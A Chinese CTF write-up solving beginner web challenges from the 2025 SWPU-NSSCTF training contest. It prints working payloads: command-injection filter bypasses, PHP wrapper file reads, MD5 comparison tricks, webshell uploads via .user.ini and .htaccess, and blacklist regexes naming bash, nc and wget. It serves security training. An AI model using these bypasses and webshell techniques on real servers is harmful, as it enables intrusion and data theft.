0%

2025 SWPU-NSSCTF 秋季招新入门训练赛writeup

gift_F12

网页源代码搜索flag就有

Do_you_know_http

改http头,这里不要用hackbar,老实用burpsuite,hackbar会有点问题做不出来
第一步提示
Please use ‘WLLM’ browser!

根据提示改网页头user-Agent为WLLM

成功后根据提示访问a.php

要改成本地IP,加一个X-Forwarded-For头为127.0.0.1就可以
最后访问/secretttt.php就是flag了

jicao

1
2
3
4
5
6
7
8
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

一道简单的php代码审计,get传参json,包含一个json数据 x对应的是wllm,POST传参id为wllmNB

拿python脚本传个参就行

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://node7.anna.nssctf.cn:28157/"
params = {
"json": '{"x":"wllm"}'
}
data = {
"id": "wllmNB"
}

response = requests.post(url, params=params, data=data)
print(response.text)

也可以直接在网页传参

1
2
3
4
get:
?json={"x":"wllm"}
POST:
id=wllmNB

WebFTP

登陆页面,常规思路万能密码

没试出来

去网上搜了一下,webftp 2011有漏洞,有phpinfo.php这个页面

访问一下搜索flag就是

finalrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
} Can you see anything?

过滤很多,但是也有漏网之鱼 nl和tac没有过滤,ls过滤可以用l\s绕过,这个题目网上也有原题,可以照着payload抄

1
l\s /|tee 1.txt

后访问1.txt,里面有个很明显的flag文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
a_here_is_a_f1ag
bin
boot
dev
etc
flllllaaaaaaggggggg
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

可以tac或者nl查看到flag,但是注意waf里面过滤了la,所以flag文件要加上\绕过

1
/?url=tac%20/flllll\aaaaaaggggggg|tee%202.txt

ez_SSTI

fenjing一把梭

flag在根目录

奇妙的MD5

题目问”可曾听闻CTF中一个奇妙的字符串”,这里题目也说是MD5了,这里要记两个知识点

1
0e215962017

MD5加密后弱比较等于自身

1
ffifdyop

MD5加密后是万能密码

第二个填空成功来到下一题

直接想到源代码

果然有

1
2
3
4
5
6
<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
;
-->

双等于 弱比较 拿数组绕过就可以

1
?x[]=1&&y[]=2

来到最后一关

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
echo $FLAG;
}

传参不能相等,md5加密后强相等,数组一样可以用

1
wqh[]=1&&dsy[]=2

看看IP

点进去是会显示IP地址,但是再次点击时,报错了

想到可能是命令执行XFF

flag在根目录

babyRCE

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}

get传参rce,可以用${IFS}绕过,ban了查看文件的命令和flag可以\绕过

1
?rce=ca\t${IFS}fla\g.php

ez_ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}

else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php

一个RCE传参

要求传参的file参数前三个是php,才会包含file所指定的文件

想到filter伪协议,正好符合

1
?file=php://filter/read=convert.base64-encode/resource=flag

caidao

题目暗示很明显了, 也可以拿蚁剑连

密码wllm

flag在根目录下

babyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?>

一层套一层,第一层POST传参a,要求不能匹配到数字且有a的整数值,数组可以绕过

1
a[]=1

b1和b2同样的方法,md5绕过,因为数组都为空,所以md5值相等

1
b1[]=2&&b2[]=3

然后再看c1和c2,要求是字符串,且md5值类型相等,所以只要有两个开头都为0e的md5字符串就可以

最终payload

1
a[]=1&&b1[]=2&&b2[]=3&&c1=s878926199a&&c2=s155964671a

导弹迷踪

经典的web游戏题,但是不用真的去玩游戏,根据经验找到game.js

直接拿到flag

PseudoProtocols

直接给了参数wllm,想到filter伪协议直接读hint.php

1
?file=php://filter/read=convert.base64-encode/resource=hint.php

得到base64加密后的代码,解密一下得到

1
2
3
4
5
6
7
8
9
10
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>

看到file_get_contents想到data伪协议

直接套

1
?a=data://text/plain,I want flag

pingpingping

先用tac%0aflag.php 查看flag文件

发现flag字符被ban掉

看到网上有差不多的题目

直接套payload

1
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

$IFS$1代替空格

base64 -d解码

sh当作命令执行

base64内容为 cat flag.php

最后flag在源代码里

高亮主题(划掉)背景查看器

打开bp,抓包

有个传参theme=theme1.php

尝试改成flag

报错

1
include(themes/flag): failed to open stream: No such file or directory in <b>/var/www/html/index.php

题目提示了文件包含漏洞,就挨个路径试

easyupload1.0

文件上传

伪装图片,上传一个jpg,再改后缀为php,并且加上GIF89a的文件头

直接上传成功

拿蚁剑连,看到flag.php,但是flag的内容看着不太像,试了一下确实是假的flag

后面想到拿木马执行命令

在phpinfo里面找到flag

怎么多了个没用的php文件

文件上传,传一个.user.ini

1
auto_prepend_file=1.txt

把1.txt当成php代码来执行,同时记一下上传的文件位置

接下来上传1.txt,里面是一句话木马

上传成功后,phpinfo里面搜索flag,没搜到

但是木马已经成功植入,所以可以传参获取flag值

hardrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>

一个RCE,ban了很多符号,大小写字母都不能用,试试取反

1
2
3
<?php
echo urlencode(~'phpinfo');
?>

这里是先执行取反,然后再进行url编码,发送到服务器会自动进行一次url解码,所以要在payload前进行一次取反

1
(~%8F%97%8F%96%91%99%90)();

phpinfo里面没找到,直接执行命令

1
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98); //system cat /flllllaaaaaaggggggg

easyupload 2.0

文件上传 改后缀phtml

phpinfo里面搜索就有flag

easyupload 3.0

题目说尝试跟某些文件结合,想到.htaccess

解析jpg文件为php文件

然后任意上传一个jpg文件,里面写phpinfo,然后直接搜索flag就有

UploadBaby

上传一个jpg文件,抓包改成php

成功后phpinfo里面没找到flag,直接hackbar执行POST传参

1
cmd=system("cat /f1ag");